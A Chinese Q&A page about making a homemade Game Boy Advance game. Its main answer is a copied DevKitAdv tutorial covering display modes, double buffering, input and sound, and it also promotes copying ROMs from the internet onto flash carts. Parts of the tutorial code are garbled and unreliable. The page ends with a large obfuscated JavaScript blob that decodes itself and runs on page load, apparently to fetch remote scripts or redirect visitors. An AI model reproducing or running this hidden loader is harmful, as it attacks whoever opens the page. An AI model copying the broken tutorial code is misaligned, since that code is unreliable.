如果要做一个后缀名为·gb或.gba的小游戏,需要学习哪些书籍?做来自己玩的。

2025-02-16 06:27:48
推荐回答(3个)
回答1:

GBAS 是 GameBoy Advance development System (GameBoy Advance 开发系统)的缩写,它主要的功能便是用来做 GameBoy Advance 游戏以及数据的传输,使用者可以自行将自己所撰写的 GameBoy Advance 软件透过 GBAS 烧录机传至 GBAS 64M 或 GBS 128M 的覆写卡上面,然后插入 GameBoy Advance 的主机执行。就是说,如果你自己也会开发GBA的游戏的话(据说对于好的程序员不是很难),那么你根本不需要任天堂的授权,就可以把自己开发的GBA游戏直接通过GBAS系统在GBA上游玩。
GBAS 烧录机的功能除了负责将 GameBoy Advance 的软件传输至覆写卡外,他还具备可将原版 GameBoy Advance 卡带备份至计算机储存成 *.GBA 的计算机档案,或者将原版 GameBoy Advance 卡带以及 GBAS 覆写卡中的记忆存盘备份成 *.SAV 的计算机档案。这些备份的档案均可配合各种 GameBoy Advance 计算机仿真器执行。而这就意味着你可以利用这款系统自由把网络上的GBA游戏的ROM通过GBAS烧录机直接拷贝到专用GBAS卡带上,想想网络上已经可以执行的GBA游戏ROM的数量,是不是有些心动了?
应该说GBAS是一个相当完善的系统,虽然这款系统刚刚开发完毕,但是它在功能上已经相当优秀了,那我们现在看看它有那些特点。
一、EEPROM 特殊记忆支持: 这款GBAS是目前唯一支持 EEPROM 记忆格式的 GBA 开发工具,也是目前唯一可以对应 Super Mario Advance (日/美)的开发工具。哈哈,要知道超级MARIO大冒险的美版还没有出啊,而在网络上,这个游戏的ROM早就有了,所以大家可以看到在图片中执行的GBA游戏就是超级MARIO大冒险的美版。

二、超大电池记忆: 超大 1M 电池记忆,支持所有游戏记忆(包括游戏王五代的超大电池记忆也能支持)。 这个特点是相当好的,也比较贴近玩家的特点,一般来说,用了这个东西,什么游戏的记录都不会出问题了,玩家完全没有必要担心、GBAS的记忆空间不足。
三、合卡功能: GBAS 支持合卡,64M 版本可支持两个 32M 的游戏合卡。这样,玩家可以一次录进两个32M的游戏,使GBAS成为一个合卡,要是玩家拥有的是128M的覆写卡,嘿嘿,那就可以让你的GBAS成为4合1卡了,这样就节约了游戏烧录拷贝的时间,当然,128M的卡几个自然要高得多了。
四、操作接口:全新窗口下烧录接口(包含游戏上载,下载以及游戏记录文件上载下载功能)全新修正了游戏传输问题,更快速更准确,支持窗口 9X 作业平台,安装容易使用方便,使用者完全不用担心会出什么问题。
GBA的软件制作烧录系统—GBAS

简单入门-
一. GBA开发包--DevKitAdv 简介
DevKitAdv 主要包括两部分,一是GCC++编译器,二是 GBA库.

GCC++编译器功能和我们常用的VC差不多,只不过少了个编辑源代码的文本编辑器(至少我没发现,我用的是EditPlus,UltraEdit也可以),还有就是--不支持类(class),真是让人头痛,只能用struct来替代.它的作用是把我们写的代码编译成二进制的可执行文件,当然这个可执行文件是相对GBA和GBA模拟器而言的.就象Windows里的EXE文件无法在Mac机上使用是一样的道理;

GBA库提供了图像,控制及声音一系列的函数,和GCC++配合使用.

下载地址: http://occultforces.mine.nu/~darkfader/gba/files/devkitadv.zip

二. DevKitAdv 的安装

没啥好说的,解压后就可以直接使用,编译时设置DevKitAdv的路径就可以了,建议做一个批处理文件,比如 go.bat

set PATH=d:\devkitadv\bin;%PATH%

cmd (win98是command)

三. 最简单的 GBA 程序 (t1)

// main.c
// 一些基本数据类型
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned long u32;
#define REG_DISPCNT *(u16*)0x04000000 // 显示寄存器地址
#define VRAM 0x06000000 // 图像缓冲区地址
#define M5_VRAM 0x0600A000 // M5缓冲区地址
#define BACKBUFFER 0x010 // 双缓冲/背缓冲地址
#define PALETTE 0x5000000 // 调色板地址
#define MODE_3 0x03 // 240*160 15bits/单缓冲区
#define MODE_4 0x04 // 240*160 8bits/双缓冲区
#define MODE_5 0x05 // 160*128 15bits/双缓冲区
#define BG2_ENABLE 0x0400 // BG_2
#define SetMode(Mode) REG_DISPCNT=(Mode) // 设置显示模式的宏定义

// ----------- 主程序 ------------
int main()
{
//设置屏幕模式,这里使用MODE_4
SetMode (MODE_4 | BG2_ENABLE);
}

1.MODE_5和MODE_3都是16bits,但MODE_3只有单缓冲,制作动画效果肯定没双缓冲好,因此排除MODE_3;

2.MODE_4是8bits,理论上256色对于掌机够用了,虽然16bits真彩的诱惑没有人想抗拒,可MODE_5只有160*128咧,在实际应用中建议还是使用MODE_4.

很简单吧--的确是的,现在要用GCC编译它:

gcc -lm -o main.elf main.c

objcopy -v -O binary main.elf main.bin

你会看目录下多了个"main.bin",这个就是能在GBA模拟器上执行的二进制文件!
教程中t1-t10目录为源程序目录,里面有个make.bat,修改代码后直接执行它就可以编译,但要注意我的devkitadv是装在D:,你要是装在别的盘就得改一下make.bat的path参数.

四. 在MODE_4背景层画图的 GBA 程序 (t2)

在GBA的MODE_4里画一幅图要经过3个步骤:

1. 把原始256色图像文件转换成 *.h / *.c 的数据文件,我们用的是 < BMP2GBA > ,这里以"image.bmp"为例,转换后我们就得到了一个"image.h"文件;

2. 在程序开头#include "image.h",这样就能在程序中使用"image.h"定义的调色板和图像数据;

3. 在程序中把"image.h"定义的调色板和图像数据写入MODE_4背景层的调色板和图像缓冲区.

另外,GBA还有专为精灵设置的物体层,它的用法和背景层一样,只是功能有点不一样,地址是0x06000000.有关用这里就不详细说了,大家可以把精灵数据直接输出到物体缓冲区就可以了.

下面是源程序:

... ...

// 包含图像调色板和数据的头文件
#include "gfx/image.h"

// ----------- 全局变量 --------
// 系统调色板
u16* palette_mem=(u16*)PALETTE;
// 图像缓冲区
u16* video_buffer=(u16*)VRAM;

// ----------- 函数定义 ---------
// MODE_4绘图函数
void Draw(u16* src_palette,u16* src_data,u16* dst_palette,u16* dst_data);

// ----------- 主程序 ------------
int main()
{

// 设置屏幕模式,这里使用MODE_4
SetMode (MODE_4 | BG2_ENABLE);

// 在背景层画图,Palette和Data是在"image.h"定义的调色板和图像数据数组名
Draw(Palette,Data,palette_mem,video_buffer);
}

// MODE_4绘图函数
void Draw(u16* src_palette,u16* src_data,u16* dst_palette,u16* dst_data)
{
int loop,x,y;

// 写入目的调色板
for(loop = 0; loop < 256; loop++)
dst_palette[loop] = src_palette[loop];

// 写入图像缓冲区
for(x = 0; x < 120; x++)
{
for(y = 0; y < 160; y++)
{
dst_data[(y) *120 + (x)]=src_data[(y) *120 + (x)];
}
}
}

编译后得到main.bin,然后在GBA模拟器里运行,就可以得到这样的结果:
五. 在MODE_5画图的 GBA 程序 (t3)

在GBA的MODE_5里画一幅图也要经过相似3个步骤,只不过不需要调色板数据:

1. 把原始真彩图像文件转换成 *.h / *.c 的数据文件,我们用的是 < Targa2GBA > ,这里以"image.bmp"(240*160)为例,DOS窗口下进Targa2GBA目录,输入"t2g mode5 image.bmp image.h",转换后我们就得到了一个"image.h"文件;

2. 在程序开头#include "image.h",这样就能在程序中使用"image.h"定义的图像数据;

3. 在程序中把"image.h"定义的图像数据写入图像缓冲区.

下面就是源程序:

// 包含图像数据的头文件
#include "gfx/image.h"

// ----------- 全局变量 --------
// 图像缓冲区
u16* video_buffer=(u16*)VRAM;

// ----------- 函数定义 ---------
// MODE_5绘图函数
void Draw(int x,int y,int w,int h,u16 *src_data,u16 *dst_data);

// ----------- 主程序 ------------
int main()
{
// 设置屏幕模式,这里使用MODE_5
SetMode (MODE_5 | BG2_ENABLE);

// 在背景层画图,image是在"image.h"定义的图像数据数组名
Draw(0,0,240,160,image,video_buffer);
}

// MODE_5绘图函数
void Draw(int x,int y,int w,int h,u16 *src_data,u16 *dst_data)
{
int i,o,idst;

// 把源图像数据复制到图像缓冲区的指定地方
idst =(y*160)+x;
for (i=0;i{
for (o=0;o{
if (*src_data != 0)
{
dst_data[idst] = *src_data;
}
idst++;
src_data++;
}
idst += (160-w);
}
}

编译后运行结果:
六. 全屏显示的 MODE_5 GBA 程序 (t4)

由于GBA不支持线性的图像变换,因此得到的结果会产生一些马赛克的现象,现在还是附上这个变换函数和最终结果,其实质量还是可以接受的,大家可以试试使用这个新的MODE_5.

// 切换到新MODE_5全屏模式,page为缓冲区,原理是把显示寄存器数据X,Y交换,得到128*160的显示,GBA就会全屏显示.
void SetFlipMode(int page)
{
u16 *ioreg=(u16*)0x4000000;

*ioreg=5+((page&1)>>4)+(1>>10);
ioreg[0x10]=0;
ioreg[0x11]=256;
ioreg[0x12]=128;
ioreg[0x13]=0;
}

int main()
{
// 设置屏幕模式,这里使用MODE_5
SetMode (MODE_5 | BG2_ENABLE);

// 切换模式
SetFlipMode(0);

// 在背景层画图,image是在"image.h"定义的图像数据数组名
Draw(0,0,240,160,image,video_buffer);

r七. GBA的双缓冲显示(t5)

大家在做上面MODEL_5的程序时一定会发现图像在闪动(第六节的240*160的MM象被破了相...),而MODEL_4下却比较稳定--这是因为MODEL_5下要处理16bits(实质上是15bits)的图像,数据量比MODEL_4下的8bits大很多,在没使用双缓冲的情况下,图像填充时就会造成闪烁,这就是为什么我们抛弃了MODEL_3的原因...

原理也很简单,图像在背缓冲区里填充好之后再直接输出到前缓冲区显示,程序里就是一个 "等待同步-> 交换缓冲" 的过程:

... ...
// ----------- 全局变量 --------
// 图像缓冲区
u16* video_buffer=(u16*)M5_VRAM;

// ----------- 函数定义 ---------
... ...

// 等待缓冲区数据同步
void WaitSync ();
// 交换缓冲区内容
void SwapScreen ();

// ----------- 主程序 ------------
int main()
{

// 设置屏幕模式,这里使用MODE_5
SetMode (MODE_5 | BG2_ENABLE);

while(1)
{
// 在背景层画图,image是在"image.h"定义的图像数据数组名
Draw(0,0,240,160,image,video_buffer);
WaitSync();
SwapScreen();
}
}

// 等待缓冲区数据同步
void WaitSync ()
{
while (*(volatile u16*)0x4000006<160) {};
}

// 交换缓冲区
void SwapScreen ()
{
if (REG_DISPCNT & BACKBUFFER)
{
REG_DISPCNT &= ~BACKBUFFER;
video_buffer = (u16*) M5_VRAM;
}
else
{
REG_DISPCNT |= BACKBUFFER;
video_buffer = (u16*) VRAM;
}
}

八. GBA 的按键输入(t6)

讲了老半天的图像,虽说是对着MM,但大家一定也有点烦了,我们现在就换个方向,来看看GBA的控制.

... ...
// 按键控制
#define KEY_A 1
#define KEY_B 2
#define KEY_SELECT 4
#define KEY_START 8
#define KEY_RIGHT 16
#define KEY_LEFT 32
#define KEY_UP 64
#define KEY_DOWN 128
#define KEY_R 256
#define KEY_L 512
volatile u32* KEYS = (volatile u32*)0x04000130;

// 包含图像调色板和数据的头文件
#include "gfx/image.h"

// ----------- 全局变量 --------
// 图像缓冲区
u16* video_buffer=(u16*)M5_VRAM;
// 图像显示坐标
int img_x,img_y;

// ----------- 函数定义 ---------
// 按键控制
void KeyAction();
... ...
// ----------- 主程序 ------------
int main()
{

// 设置屏幕模式,这里使用MODE_5
SetMode (MODE_5 | BG2_ENABLE);

while(1)
{
// 处理按键事件
KeyAction();
// 在背景层画图,image是在"image.h"定义的图像数据数组名
Draw(img_x,img_y,96,64,image,video_buffer);

WaitSync();
SwapScreen();
}
}

// 处理按键事件
void KeyAction()
{
// 上方向键
if(! ( (*KEYS) & KEY_UP) )
{
img_y+=5;
}

// 下方向键
if(! ( (*KEYS) & KEY_DOWN) )
{
img_y-=5;
}
}
eturn(0);
九. 简单声音输出(t7)

Simple is the Best(简洁至上),这里我们使用一个现成的声音模块(Troff Player,by Vova & Serge).这里还要用到一个转换工具< MOD2GBA >,用来把MOD音乐文件转换成GBA的 *.c / *.h 声音数据文件.MOD和MIDI差不多,但支持更多更强的效果.MOD可以由konvertor这个强大的软件转换而来.

// MOD数据文件
#include "song_data.h"
// MOD播放函数文件
#include "modplayer.h"

// ----------- 主程序 ------------
int main()
{
//设置屏幕模式,这里使用MODE_4
SetMode (MODE_4 | BG2_ENABLE);

// 初始化声音(声道数,音量)
InitSound(2, 7);
// 初始化音乐(节拍,循环)
InitSong(20000, 0);

while(1)
{
// 更新音乐播放状态
UpdateSong();
}
}

OK,就这么EZ.

十. 用图块建立可滚动/缩放/旋转的背景(t8)

这一节主要是源程序中注释为主,这里就不详细说明了."gba.h"包含基本宏定义,"maths.h"是sin/cos乘256后的值数组,"main.h"包括了我们定义背景结构及操作背景的函数.

程序中的地图背景是由不同的图块所构成,而这些图块统一紧挨着放在一个图像文件,这样每个图块就会有一个索引号;地图信息只要记录这张地图里共有多少个 单位(图块)以及每个单位对应的图块索引号就OK了,在例子中"gfx/tiles.h"就是图块大本营,而"gfx/level1.h"则是图块索引排列表.地图工具为"map editor beta 4".

背景的滚动/缩放/旋转是通过一系列的简单数学计算,修改GBA系统提供的一些背景属性来完成,因为是由硬件来完成背景的操作(MODE_1),所以速度很快,我还有个MODE_5下直接修改像素点位置来完成旋转的例程,待会儿大家可以比较一下.(摘自百度文库)

回答2:

C语言和C

回答3:

c语言

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();